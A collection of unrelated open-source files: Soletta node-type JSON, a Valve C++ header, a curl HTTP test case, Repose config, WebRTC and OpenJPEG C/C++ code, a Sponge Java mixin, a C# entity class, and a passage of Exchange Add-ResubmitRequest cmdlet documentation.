"private_data_type": "http_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/blob.html"
},
{
"category": "output/network",
"description": "HTTP Server for JSON objects/arrays.",
"methods": {
"close": "json_close",
"open": "blob_open"
},
"node_type": {
"access": [
"base"
],
"data_type": "struct http_server_node_type",
"extra_methods": {
"response_cb": "json_response_cb",
"process_cb": "json_process_cb",
"send_packet_cb": "json_send_packet_cb",
"post_cb": "json_post_cb",
"handle_response_cb": "common_handle_response_cb"
}
},
"name": "http-server/json",
"options": {
"members": [
{
"data_type": "string",
"default": "/json",
"description": "The http path where it will be served",
"name": "path"
},
{
"data_type": "int",
"default": -1,
"description": "The port used to bind the server. If a negative value, default port will be used.",
"name": "port"
},
{
"data_type": "string",
"default": "GET|POST",
"description": "The allowed HTTP methods. Should be separated by a '|' character.",
"name": "allowed_methods"
}
],
"version": 1
},
"in_ports": [
{
"data_type": "json-object",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "OBJECT"
},
{
"data_type": "json-array",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "ARRAY"
},
{
"data_type": "boolean",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "BOOLEAN"
},
{
"data_type": "string",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "STRING"
},
{
"data_type": "int",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "INT"
},
{
"data_type": "float",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "FLOAT"
},
{
"data_type": "any",
"description": "The value that will be given on a GET",
"methods": {
"process": "common_process"
},
"name": "NULL"
}
],
"out_ports": [
{
"data_type": "json-object",
"description": "The value received on a POST",
"name": "OBJECT"
},
{
"data_type": "json-array",
"description": "The value received on a POST",
"name": "ARRAY"
},
{
"data_type": "string",
"description": "The value received on a POST",
"name": "STRING"
},
{
"data_type": "boolean",
"description": "The value received on a POST",
"name": "BOOLEAN"
},
{
"data_type": "int",
"description": "The value received on a POST",
"name": "INT"
},
{
"data_type": "float",
"description": "The value received on a POST",
"name": "FLOAT"
},
{
"data_type": "empty",
"description": "The value received on a POST",
"name": "NULL"
}
],
"private_data_type": "http_json_data",
"url": "http://solettaproject.org/doc/latest/node_types/http-server/json.html"
}
]
}
| {
"pile_set_name": "Github"
} |
//========= Copyright Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
// $NoKeywords: $
//
//===========================================================================//
#ifndef KEYBINDINGS_H
#define KEYBINDINGS_H
#ifdef _WIN32
#pragma once
#endif
#include "tier1/utlstring.h"
#include "inputsystem/ButtonCode.h"
class CUtlBuffer;
class CKeyBindings
{
public:
void SetBinding( ButtonCode_t code, const char *pBinding );
void SetBinding( const char *pButtonName, const char *pBinding );
void Unbind( ButtonCode_t code );
void Unbind( const char *pButtonName );
void UnbindAll();
int GetBindingCount() const;
void WriteBindings( CUtlBuffer &buf );
const char *ButtonNameForBinding( const char *pBinding );
const char *GetBindingForButton( ButtonCode_t code );
private:
CUtlString m_KeyInfo[ BUTTON_CODE_LAST ];
};
#endif // KEYBINDINGS_H
| {
"pile_set_name": "Github"
} |
<testcase>
<info>
<keywords>
HTTP
HTTP GET
</keywords>
</info>
#
<reply>
<data nocheck="yes">
HTTP/1.1 200 OK
Date: Thu, 09 Nov 2010 14:49:00 GMT
Server: test-server/fake
Content-Length: 6
Connection: close
Content-Type: text/html
Content-Disposition: filename=name1336; charset=funny; option=strange
12345
</data>
</reply>
#
# Client-side
<client>
# this relies on the debug feature to allow us to set directory to store the
# -O output in, using the CURL_TESTDIR variable
<features>
debug
</features>
<server>
http
</server>
<name>
HTTP GET with -O and Content-Disposition, -D file
</name>
<setenv>
CURL_TESTDIR=%PWD/log
</setenv>
<command option="no-output,no-include">
http://%HOSTIP:%HTTPPORT/1336 -O -D log/heads1336
</command>
<postcheck>
perl %SRCDIR/libtest/notexists.pl log/name1336
</postcheck>
</client>
#
# Verify data after the test has been "shot"
<verify>
<strip>
^User-Agent:.*
</strip>
<protocol>
GET /1336 HTTP/1.1
Host: %HOSTIP:%HTTPPORT
Accept: */*
</protocol>
<file1 name="log/1336">
12345
</file1>
<file2 name="log/heads1336">
HTTP/1.1 200 OK
Date: Thu, 09 Nov 2010 14:49:00 GMT
Server: test-server/fake
Content-Length: 6
Connection: close
Content-Type: text/html
Content-Disposition: filename=name1336; charset=funny; option=strange
</file2>
<file3 name="log/stdout1336">
</file3>
</verify>
</testcase>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<system-model xmlns="http://docs.openrepose.org/repose/system-model/v2.0">
<nodes>
<node id="simple-node" hostname="localhost" http-port="${reposePort}"/>
</nodes>
<filters>
<filter name="url-extractor-to-header"/>
<filter name="keystone-v2"/>
</filters>
<destinations>
<endpoint id="target" protocol="http" hostname="localhost" root-path="/" port="${targetPort}"
default="true"/>
</destinations>
</system-model>
| {
"pile_set_name": "Github"
} |
/* Area: ffi_call, closure_call
Purpose: Check structure alignment of complex.
Limitations: none.
PR: none.
Originator: <[email protected]>. */
/* { dg-do run } */
#include "complex_defs_float.inc"
#include "cls_align_complex.inc"
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2004 The WebRTC Project Authors. All rights reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "webrtc/base/task.h"
#include "webrtc/base/common.h"
#include "webrtc/base/taskrunner.h"
namespace rtc {
int32 Task::unique_id_seed_ = 0;
Task::Task(TaskParent *parent)
: TaskParent(this, parent),
state_(STATE_INIT),
blocked_(false),
done_(false),
aborted_(false),
busy_(false),
error_(false),
start_time_(0),
timeout_time_(0),
timeout_seconds_(0),
timeout_suspended_(false) {
unique_id_ = unique_id_seed_++;
// sanity check that we didn't roll-over our id seed
ASSERT(unique_id_ < unique_id_seed_);
}
Task::~Task() {
// Is this task being deleted in the correct manner?
ASSERT(!done_ || GetRunner()->is_ok_to_delete(this));
ASSERT(state_ == STATE_INIT || done_);
ASSERT(state_ == STATE_INIT || blocked_);
// If the task is being deleted without being done, it
// means that it hasn't been removed from its parent.
// This happens if a task is deleted outside of TaskRunner.
if (!done_) {
Stop();
}
}
int64 Task::CurrentTime() {
return GetRunner()->CurrentTime();
}
int64 Task::ElapsedTime() {
return CurrentTime() - start_time_;
}
void Task::Start() {
if (state_ != STATE_INIT)
return;
// Set the start time before starting the task. Otherwise if the task
// finishes quickly and deletes the Task object, setting start_time_
// will crash.
start_time_ = CurrentTime();
GetRunner()->StartTask(this);
}
void Task::Step() {
if (done_) {
#ifdef _DEBUG
// we do not know how !blocked_ happens when done_ - should be impossible.
// But it causes problems, so in retail build, we force blocked_, and
// under debug we assert.
ASSERT(blocked_);
#else
blocked_ = true;
#endif
return;
}
// Async Error() was called
if (error_) {
done_ = true;
state_ = STATE_ERROR;
blocked_ = true;
// obsolete - an errored task is not considered done now
// SignalDone();
Stop();
#ifdef _DEBUG
// verify that stop removed this from its parent
ASSERT(!parent()->IsChildTask(this));
#endif
return;
}
busy_ = true;
int new_state = Process(state_);
busy_ = false;
if (aborted_) {
Abort(true); // no need to wake because we're awake
return;
}
if (new_state == STATE_BLOCKED) {
blocked_ = true;
// Let the timeout continue
} else {
state_ = new_state;
blocked_ = false;
ResetTimeout();
}
if (new_state == STATE_DONE) {
done_ = true;
} else if (new_state == STATE_ERROR) {
done_ = true;
error_ = true;
}
if (done_) {
// obsolete - call this yourself
// SignalDone();
Stop();
#if _DEBUG
// verify that stop removed this from its parent
ASSERT(!parent()->IsChildTask(this));
#endif
blocked_ = true;
}
}
void Task::Abort(bool nowake) {
// Why only check for done_ (instead of "aborted_ || done_")?
//
// If aborted_ && !done_, it means the logic for aborting still
// needs to be executed (because busy_ must have been true when
// Abort() was previously called).
if (done_)
return;
aborted_ = true;
if (!busy_) {
done_ = true;
blocked_ = true;
error_ = true;
// "done_" is set before calling "Stop()" to ensure that this code
// doesn't execute more than once (recursively) for the same task.
Stop();
#ifdef _DEBUG
// verify that stop removed this from its parent
ASSERT(!parent()->IsChildTask(this));
#endif
if (!nowake) {
// WakeTasks to self-delete.
// Don't call Wake() because it is a no-op after "done_" is set.
// Even if Wake() did run, it clears "blocked_" which isn't desireable.
GetRunner()->WakeTasks();
}
}
}
void Task::Wake() {
if (done_)
return;
if (blocked_) {
blocked_ = false;
GetRunner()->WakeTasks();
}
}
void Task::Error() {
if (error_ || done_)
return;
error_ = true;
Wake();
}
std::string Task::GetStateName(int state) const {
switch (state) {
case STATE_BLOCKED: return "BLOCKED";
case STATE_INIT: return "INIT";
case STATE_START: return "START";
case STATE_DONE: return "DONE";
case STATE_ERROR: return "ERROR";
case STATE_RESPONSE: return "RESPONSE";
}
return "??";
}
int Task::Process(int state) {
int newstate = STATE_ERROR;
if (TimedOut()) {
ClearTimeout();
newstate = OnTimeout();
SignalTimeout();
} else {
switch (state) {
case STATE_INIT:
newstate = STATE_START;
break;
case STATE_START:
newstate = ProcessStart();
break;
case STATE_RESPONSE:
newstate = ProcessResponse();
break;
case STATE_DONE:
case STATE_ERROR:
newstate = STATE_BLOCKED;
break;
}
}
return newstate;
}
void Task::Stop() {
// No need to wake because we're either awake or in abort
TaskParent::OnStopped(this);
}
void Task::set_timeout_seconds(const int timeout_seconds) {
timeout_seconds_ = timeout_seconds;
ResetTimeout();
}
bool Task::TimedOut() {
return timeout_seconds_ &&
timeout_time_ &&
CurrentTime() >= timeout_time_;
}
void Task::ResetTimeout() {
int64 previous_timeout_time = timeout_time_;
bool timeout_allowed = (state_ != STATE_INIT)
&& (state_ != STATE_DONE)
&& (state_ != STATE_ERROR);
if (timeout_seconds_ && timeout_allowed && !timeout_suspended_)
timeout_time_ = CurrentTime() +
(timeout_seconds_ * kSecToMsec * kMsecTo100ns);
else
timeout_time_ = 0;
GetRunner()->UpdateTaskTimeout(this, previous_timeout_time);
}
void Task::ClearTimeout() {
int64 previous_timeout_time = timeout_time_;
timeout_time_ = 0;
GetRunner()->UpdateTaskTimeout(this, previous_timeout_time);
}
void Task::SuspendTimeout() {
if (!timeout_suspended_) {
timeout_suspended_ = true;
ResetTimeout();
}
}
void Task::ResumeTimeout() {
if (timeout_suspended_) {
timeout_suspended_ = false;
ResetTimeout();
}
}
} // namespace rtc
| {
"pile_set_name": "Github"
} |
/*
* The copyright in this software is being made available under the 2-clauses
* BSD License, included below. This software may be subject to other third
* party and contributor rights, including patent rights, and no such rights
* are granted under this license.
*
* Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium
* Copyright (c) 2002-2014, Professor Benoit Macq
* Copyright (c) 2001-2003, David Janssens
* Copyright (c) 2002-2003, Yannick Verschueren
* Copyright (c) 2003-2007, Francois-Olivier Devaux
* Copyright (c) 2003-2014, Antonin Descampe
* Copyright (c) 2005, Herve Drolon, FreeImage Team
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS'
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef OPJ_BIO_H
#define OPJ_BIO_H
#include <stddef.h> /* ptrdiff_t */
/**
@file bio.h
@brief Implementation of an individual bit input-output (BIO)
The functions in BIO.C have for goal to realize an individual bit input - output.
*/
/** @defgroup BIO BIO - Individual bit input-output stream */
/*@{*/
/**
Individual bit input-output stream (BIO)
*/
typedef struct opj_bio {
/** pointer to the start of the buffer */
OPJ_BYTE *start;
/** pointer to the end of the buffer */
OPJ_BYTE *end;
/** pointer to the present position in the buffer */
OPJ_BYTE *bp;
/** temporary place where each byte is read or written */
OPJ_UINT32 buf;
/** coder : number of bits free to write. decoder : number of bits read */
OPJ_UINT32 ct;
} opj_bio_t;
/** @name Exported functions */
/*@{*/
/* ----------------------------------------------------------------------- */
/**
Create a new BIO handle
@return Returns a new BIO handle if successful, returns NULL otherwise
*/
opj_bio_t* opj_bio_create(void);
/**
Destroy a previously created BIO handle
@param bio BIO handle to destroy
*/
void opj_bio_destroy(opj_bio_t *bio);
/**
Number of bytes written.
@param bio BIO handle
@return Returns the number of bytes written
*/
ptrdiff_t opj_bio_numbytes(opj_bio_t *bio);
/**
Init encoder
@param bio BIO handle
@param bp Output buffer
@param len Output buffer length
*/
void opj_bio_init_enc(opj_bio_t *bio, OPJ_BYTE *bp, OPJ_UINT32 len);
/**
Init decoder
@param bio BIO handle
@param bp Input buffer
@param len Input buffer length
*/
void opj_bio_init_dec(opj_bio_t *bio, OPJ_BYTE *bp, OPJ_UINT32 len);
/**
Write bits
@param bio BIO handle
@param v Value of bits
@param n Number of bits to write
*/
void opj_bio_write(opj_bio_t *bio, OPJ_UINT32 v, OPJ_UINT32 n);
/**
Read bits
@param bio BIO handle
@param n Number of bits to read
@return Returns the corresponding read number
*/
OPJ_UINT32 opj_bio_read(opj_bio_t *bio, OPJ_UINT32 n);
/**
Flush bits
@param bio BIO handle
@return Returns OPJ_TRUE if successful, returns OPJ_FALSE otherwise
*/
OPJ_BOOL opj_bio_flush(opj_bio_t *bio);
/**
Passes the ending bits (coming from flushing)
@param bio BIO handle
@return Returns OPJ_TRUE if successful, returns OPJ_FALSE otherwise
*/
OPJ_BOOL opj_bio_inalign(opj_bio_t *bio);
/* ----------------------------------------------------------------------- */
/*@}*/
/*@}*/
#endif /* OPJ_BIO_H */
| {
"pile_set_name": "Github"
} |
/*
* This file is part of Sponge, licensed under the MIT License (MIT).
*
* Copyright (c) SpongePowered <https://www.spongepowered.org>
* Copyright (c) contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.spongepowered.common.mixin.api.mcp.block.state;
import com.google.common.base.Joiner;
import com.google.common.collect.ImmutableMap;
import net.minecraft.block.properties.IProperty;
import net.minecraft.block.state.IBlockState;
import org.spongepowered.api.block.BlockState;
import org.spongepowered.api.block.BlockType;
import org.spongepowered.api.block.trait.BlockTrait;
import org.spongepowered.api.data.DataContainer;
import org.spongepowered.api.data.Property;
import org.spongepowered.api.data.Queries;
import org.spongepowered.api.data.key.Key;
import org.spongepowered.api.data.manipulator.ImmutableDataManipulator;
import org.spongepowered.api.data.merge.MergeFunction;
import org.spongepowered.api.data.value.BaseValue;
import org.spongepowered.api.data.value.immutable.ImmutableValue;
import org.spongepowered.api.util.Cycleable;
import org.spongepowered.api.util.Direction;
import org.spongepowered.api.world.Location;
import org.spongepowered.api.world.World;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.common.util.Constants;
import org.spongepowered.common.util.VecHelper;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import java.util.function.Function;
@Mixin(IBlockState.class)
public interface IBlockStateMixin_API extends IBlockState, BlockState {
@Override
default BlockType getType() {
return (BlockType) getBlock();
}
@Override
default BlockState withExtendedProperties(final Location<World> location) {
return (BlockState) this.getActualState((net.minecraft.world.World) location.getExtent(), VecHelper.toBlockPos(location));
}
@Override
default BlockState cycleValue(final Key<? extends BaseValue<? extends Cycleable<?>>> key) {
return this;
}
@SuppressWarnings({"unchecked"})
@Override
default <T extends Comparable<T>> Optional<T> getTraitValue(final BlockTrait<T> blockTrait) {
for (final Map.Entry<IProperty<?>, Comparable<?>> entry : getProperties().entrySet()) {
//noinspection EqualsBetweenInconvertibleTypes
if (entry.getKey() == blockTrait) {
return Optional.of((T) entry.getValue());
}
}
return Optional.empty();
}
@SuppressWarnings("rawtypes")
@Override
default Optional<BlockTrait<?>> getTrait(final String blockTrait) {
for (final IProperty property : getProperties().keySet()) {
if (property.getName().equalsIgnoreCase(blockTrait)) {
return Optional.of((BlockTrait<?>) property);
}
}
return Optional.empty();
}
@SuppressWarnings({"rawtypes", "unchecked", "RedundantCast"})
@Override
default Optional<BlockState> withTrait(final BlockTrait<?> trait, final Object value) {
if (value instanceof String) {
Comparable foundValue = null;
for (final Comparable comparable : trait.getPossibleValues()) {
if (comparable.toString().equals(value)) {
foundValue = comparable;
break;
}
}
if (foundValue != null) {
return Optional.of((BlockState) this.withProperty((IProperty) trait, foundValue));
}
}
if (value instanceof Comparable) {
if (getProperties().containsKey((IProperty) trait) && ((IProperty) trait).getAllowedValues().contains(value)) {
return Optional.of((BlockState) this.withProperty((IProperty) trait, (Comparable) value));
}
}
return Optional.empty();
}
@Override
default Collection<BlockTrait<?>> getTraits() {
return getTraitMap().keySet();
}
@Override
default Collection<?> getTraitValues() {
return getTraitMap().values();
}
@SuppressWarnings({"unchecked", "rawtypes"})
@Override
default Map<BlockTrait<?>, ?> getTraitMap() {
return (ImmutableMap) getProperties();
}
@Override
default String getId() {
final StringBuilder builder = new StringBuilder();
builder.append(((BlockType) getBlock()).getId());
final ImmutableMap<IProperty<?>, Comparable<?>> properties = this.getProperties();
if (!properties.isEmpty()) {
builder.append('[');
final Joiner joiner = Joiner.on(',');
final List<String> propertyValues = new ArrayList<>();
for (final Map.Entry<IProperty<?>, Comparable<?>> entry : properties.entrySet()) {
propertyValues.add(entry.getKey().getName() + "=" + entry.getValue());
}
builder.append(joiner.join(propertyValues));
builder.append(']');
}
return builder.toString();
}
@Override
default String getName() {
return getId();
}
@Override
default <T extends Property<?, ?>> Optional<T> getProperty(final Direction direction, final Class<T> clazz) {
return Optional.empty();
}
@Override
default List<ImmutableDataManipulator<?, ?>> getManipulators() {
return Collections.emptyList();
}
@Override
default int getContentVersion() {
return Constants.Sponge.BlockState.STATE_AS_CATALOG_ID;
}
@Override
default DataContainer toContainer() {
return DataContainer.createNew()
.set(Queries.CONTENT_VERSION, getContentVersion())
.set(Constants.Block.BLOCK_STATE, getId());
}
@Override
default <T extends ImmutableDataManipulator<?, ?>> Optional<T> get(final Class<T> containerClass) {
return Optional.empty();
}
@Override
default <T extends ImmutableDataManipulator<?, ?>> Optional<T> getOrCreate(final Class<T> containerClass) {
return Optional.empty();
}
@Override
default boolean supports(final Class<? extends ImmutableDataManipulator<?, ?>> containerClass) {
return false;
}
@Override
default <E> Optional<BlockState> transform(final Key<? extends BaseValue<E>> key, final Function<E, E> function) {
return Optional.empty();
}
@Override
default <E> Optional<BlockState> with(final Key<? extends BaseValue<E>> key, final E value) {
return Optional.empty();
}
@Override
default Optional<BlockState> with(final BaseValue<?> value) {
return Optional.empty();
}
@Override
default Optional<BlockState> with(final ImmutableDataManipulator<?, ?> valueContainer) {
return Optional.empty();
}
@Override
default Optional<BlockState> with(final Iterable<ImmutableDataManipulator<?, ?>> valueContainers) {
return Optional.empty();
}
@Override
default Optional<BlockState> without(final Class<? extends ImmutableDataManipulator<?, ?>> containerClass) {
return Optional.empty();
}
@Override
default BlockState merge(final BlockState that) {
return this;
}
@Override
default BlockState merge(final BlockState that, final MergeFunction function) {
return this;
}
@Override
default List<ImmutableDataManipulator<?, ?>> getContainers() {
return Collections.emptyList();
}
@Override
default <T extends Property<?, ?>> Optional<T> getProperty(final Class<T> propertyClass) {
return Optional.empty();
}
@Override
default Collection<Property<?, ?>> getApplicableProperties() {
return Collections.emptyList();
}
@Override
default <E> Optional<E> get(final Key<? extends BaseValue<E>> key) {
return Optional.empty();
}
@Override
default <E, V extends BaseValue<E>> Optional<V> getValue(final Key<V> key) {
return Optional.empty();
}
@Override
default boolean supports(final Key<?> key) {
return false;
}
@Override
default BlockState copy() {
return this;
}
@Override
default Set<Key<?>> getKeys() {
return Collections.emptySet();
}
@Override
default Set<ImmutableValue<?>> getValues() {
return Collections.emptySet();
}
}
| {
"pile_set_name": "Github"
} |
namespace NLayerApp.Domain.Seedwork
{
using System;
using System.Reflection;
/// <summary>
/// Base class for entities
/// </summary>
public abstract class EntityString : Entity, IEntity<string>
{
private int? _requestedHashCode;
public string Id { get; set; }
public bool IsTransient()
{
return Id == null;
}
#region Overrides Methods
public override bool Equals(object obj)
{
var entity = obj as EntityString;
if (entity == null)
return false;
if (Object.ReferenceEquals(this, obj))
return true;
if (GetRealObjectType(this) != GetRealObjectType(obj))
return false;
if (IsTransient())
return false;
return entity.Id == Id;
}
public override int GetHashCode()
{
if (!IsTransient())
{
if (!_requestedHashCode.HasValue)
_requestedHashCode = Id.GetHashCode() ^ 31; // XOR for random distribution (http://blogs.msdn.com/b/ericlippert/archive/2011/02/28/guidelines-and-rules-for-gethashcode.aspx)
return _requestedHashCode.Value;
}
else
return base.GetHashCode();
}
public static bool operator ==(EntityString left, EntityString right)
{
if (Object.Equals(left, null))
return (Object.Equals(right, null)) ? true : false;
else
return left.Equals(right);
}
public static bool operator !=(EntityString left, EntityString right)
{
return !(left == right);
}
#endregion
private Type GetRealObjectType(object obj)
{
var retVal = obj.GetType();
//because can be compared two object with same id and 'types' but one of it is EF dynamic proxy type)
if (retVal.GetTypeInfo().BaseType != null && retVal.Namespace == "System.Data.Entity.DynamicProxies")
{
retVal = retVal.GetTypeInfo().BaseType;
}
return retVal;
}
}
}
| {
"pile_set_name": "Github"
} |
---
external help file: Microsoft.Exchange.TransportMailflow-Help.xml
online version: https://docs.microsoft.com/powershell/module/exchange/add-resubmitrequest
applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
title: Add-ResubmitRequest
schema: 2.0.0
author: chrisda
ms.author: chrisda
ms.reviewer:
---
# Add-ResubmitRequest
## SYNOPSIS
This cmdlet is available only in on-premises Exchange.
Use the Add-ResubmitRequest cmdlet to add requests to replay redundant copies of messages from Safety Net after a mailbox database recovery.
For information about the parameter sets in the Syntax section below, see [Exchange cmdlet syntax](https://docs.microsoft.com/powershell/exchange/exchange-cmdlet-syntax).
## SYNTAX
### MDBResubmit
```
Add-ResubmitRequest -EndTime <DateTime> -StartTime <DateTime> [-Destination <Guid>]
[-Confirm]
[-CorrelationId <Guid>]
[-Server <ServerIdParameter>]
[-TestOnly <Boolean>]
[-UnresponsivePrimaryServers <MultiValuedProperty>]
[-WhatIf] [<CommonParameters>]
```
### ConditionalResubmit
```
Add-ResubmitRequest -EndTime <DateTime> -StartTime <DateTime> [-MessageId <String>] [-Recipient <String>] [-ResubmitTo <String>] [-Sender <String>]
[-Confirm]
[-CorrelationId <Guid>]
[-Server <ServerIdParameter>]
[-TestOnly <Boolean>]
[-UnresponsivePrimaryServers <MultiValuedProperty>]
[-WhatIf] [<CommonParameters>]
```
## DESCRIPTION
You need to be assigned permissions before you can run this cmdlet. Although this topic lists all parameters for the cmdlet, you may not have access to some parameters if they're not included in the permissions assigned to you. To find the permissions required to run any cmdlet or parameter in your organization, see [Find the permissions required to run any Exchange cmdlet](https://docs.microsoft.com/powershell/exchange/find-exchange-cmdlet-permissions).
## EXAMPLES
### Example 1
```powershell
Add-ResubmitRequest -Destination 5364aeea-6e6b-4055-8258-229b2c6ac9a2 -StartTime "06/01/2018 6:00 PM" -EndTime "06/02/2018 5:00 AM"
```
This example replays the redundant copies of messages delivered from 6:00 PM June 1, 2018 to 5:00 AM June 2 2018 to the recovered mailbox database 5364aeea-6e6b-4055-8258-229b2c6ac9a2.
## PARAMETERS
### -EndTime
The EndTime parameter specifies the delivery time of the latest messages that need to be resubmitted from Safety Net.
Use the short date format that's defined in the Regional Options settings on the computer where you're running the command. For example, if the computer is configured to use the short date format mm/dd/yyyy, enter 09/01/2018 to specify September 1, 2018. You can enter the date only, or you can enter the date and time of day. If you enter the date and time of day, enclose the value in quotation marks ("), for example, "09/01/2018 5:00 PM".
The date and time specified by the EndTime parameter must be later than the date and time specified by the StartTime parameter. The date and time specified by both parameters must be in the past.
```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -StartTime
The StartTime parameter specifies the delivery time of the oldest messages that need to be resubmitted from Safety Net.
Use the short date format that's defined in the Regional Options settings on the computer where you're running the command. For example, if the computer is configured to use the short date format mm/dd/yyyy, enter 09/01/2018 to specify September 1, 2018. You can enter the date only, or you can enter the date and time of day. If you enter the date and time of day, enclose the value in quotation marks ("), for example, "09/01/2018 5:00 PM".
The date and time specified by the StartTime parameter must be earlier than the date and time specified by the EndTime parameter. The date and time specified by both parameters must be in the past.
```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Confirm
The Confirm switch specifies whether to show or hide the confirmation prompt. How this switch affects the cmdlet depends on if the cmdlet requires confirmation before proceeding.
- Destructive cmdlets (for example, Remove-\* cmdlets) have a built-in pause that forces you to acknowledge the command before proceeding. For these cmdlets, you can skip the confirmation prompt by using this exact syntax: -Confirm:$false.
- Most other cmdlets (for example, New-\* and Set-\* cmdlets) don't have a built-in pause. For these cmdlets, specifying the Confirm switch without a value introduces a pause that forces you acknowledge the command before proceeding.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: cf
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -CorrelationId
This parameter is reserved for internal Microsoft use.
```yaml
Type: Guid
Parameter Sets: (All)
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Destination
The Destination parameter specifies the GUID of the destination mailbox database. To find the GUID of the mailbox database, run the command: Get-MailboxDatabase -Server \<servername\> | Format-List Name,GUID.
You can't use this parameter with the Recipient, ResubmitTo, or Sender parameters.
```yaml
Type: Guid
Parameter Sets: MDBResubmit
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -MessageId
The MessageId parameter filters the results by the Message-ID header field of the message. This value is also known as the Client ID. The format of the Message-ID depends on the messaging server that sent the message. The value should be unique for each message. However, not all messaging servers create values for the Message-ID in the same way. Be sure to include the full Message ID string (which may include angle brackets) and enclose the value in quotation marks (for example, "<[email protected]>").
```yaml
Type: String
Parameter Sets: ConditionalResubmit
Aliases:
Applicable: Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Recipient
The Recipient parameter filters the messages to resubmit from Safety Net by the specified recipient's email address.
You can't use this parameter with the Destination parameter.
```yaml
Type: String
Parameter Sets: ConditionalResubmit
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResubmitTo
The ResubmitTo parameter specifies the recipient's email address for resubmitted messages that are identified by using the Recipient or Sender parameters.
```yaml
Type: String
Parameter Sets: ConditionalResubmit
Aliases:
Applicable: Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Sender
The Sender parameter filters the messages to resubmit from Safety Net by the specified sender's email address.
You can't use this parameter with the Destination parameter.
```yaml
Type: String
Parameter Sets: ConditionalResubmit
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
The Server parameter specifies the Exchange server where you want to run this command. You can use any value that uniquely identifies the server. For example:
- Name
- FQDN
- Distinguished name (DN)
- Exchange Legacy DN
If you don't use this parameter, the command is run on the local server.
```yaml
